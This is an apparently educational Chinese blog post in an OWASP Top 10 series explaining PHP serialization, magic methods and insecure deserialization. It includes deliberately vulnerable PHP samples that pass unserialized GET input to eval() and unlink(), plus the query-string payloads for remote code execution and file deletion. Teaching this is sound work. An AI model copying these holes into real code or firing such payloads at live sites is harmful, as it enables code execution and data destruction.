Software and Data Integrity Failures(软件和数据完整性故障)
这是在 2021 年中,增加的新的类别.
在之前 2017 年版本中,是不安全的反序列化,但在 2021 年版本中包含在其中了.
本文来讲讲序列化吧
就以 PHP 为例吧,实际上大部分面向对象语言的序列化思路也是如此
序列化,说简单点就是把对象变成可以传输的字符串
下面是一段 PHP 代码.可以达到简单的序列化
class Demo{
public $test="Hello,World!"
}
$s=new Demo();
$se=serialize($s);
print_r($se)
这时候就会有这种结果
O:4:“Demo”:1:{s:4:“test”;s:12:“Hello,World!”;
从左到右依次分析
/*
O:代表object
4:是对象名称长度
Demo:对象名称
1:代表对象里面有一个变量
s:数据类型
4:变量名称长度
test:变量名称
s:数据类型
12:变量长度
Hello,World!:变量值
*/
反序列化也是很好理解的
class Demo{
public $test="Hello,World!"
}
$classtest = 'O:4:"Demo":1:{s:4:"test";s:12:"Hello,World!";'
$unclasstest = unserialize($classtest);
//当使用 __wakeup() 成员函数
当然还有很多魔法函数
__wakeup() //使用unserialize时触发
__sleep() //使用serialize时触发
__destruct() //对象被销毁时触发
__call() //在对象上下文中调用不可访问的方法时触发
__callStatic() //在静态上下文中调用不可访问的方法时触发
__construct() //当对象创建(new)时会自动调用。但在unserialize()时是不会自动调用的。
__get() //用于从不可访问的属性读取数据
__set() //用于将数据写入不可访问的属性
__isset() //在不可访问的属性上调用isset()或empty()触发
__unset() //在不可访问的属性上使用unset()时触发
__toString() //把类当作字符串使用时触发
__invoke() //当脚本尝试将对象调用为函数时触发
如果想要实现反序列化漏洞,那么应该有这么几个条件
- 后台存在不正当使用魔术方法的行为
- 后台存在命令执行漏洞
- 后台存在反序列化函数
- 用户对反序列化的内容可控
来个简单的样例
远程代码执行
<?php
class person{
var $name;
function __construct($name){
$this->name = $name;
}
function __destruct(){
echo eval($this->name);
}
}
$str = $_GET["obj"];
$p1 = unserialize($str);
?>
我向网站后面只需要加入这么几句
?obj=O:6:“person”:1:{s:4:“name”;s:10:“phpinfo();”;}
正常情况应该会显示这么界面
远程文件删除
<?php
class person{
var $name;
function __construct($name){
$this->name = $name;
}
function __destruct(){
unlink(dirname(__FILE__)."/".$this->name);
}
}
$str = $_GET["obj"];
$p1 = unserialize($str);
?>
这是目前文件结构
我向网站输入这么一句话
?obj=O:6:“person”:1:{s:4:“name”;s:5:“1.txt”;}
会报错没有此文件夹
在删之前看一下文件夹有哪些
?obj=O:6:“person”:1:{s:4:“name”;s:8:“test.txt”;}
返回空白界面
再看眼文件夹,确实被删除
这就是序列化的基本思路
距离过年还差5天
OWASP TOP10 也快要迎来完结了
但是学习之路是不会停止的
让我们一起加油吧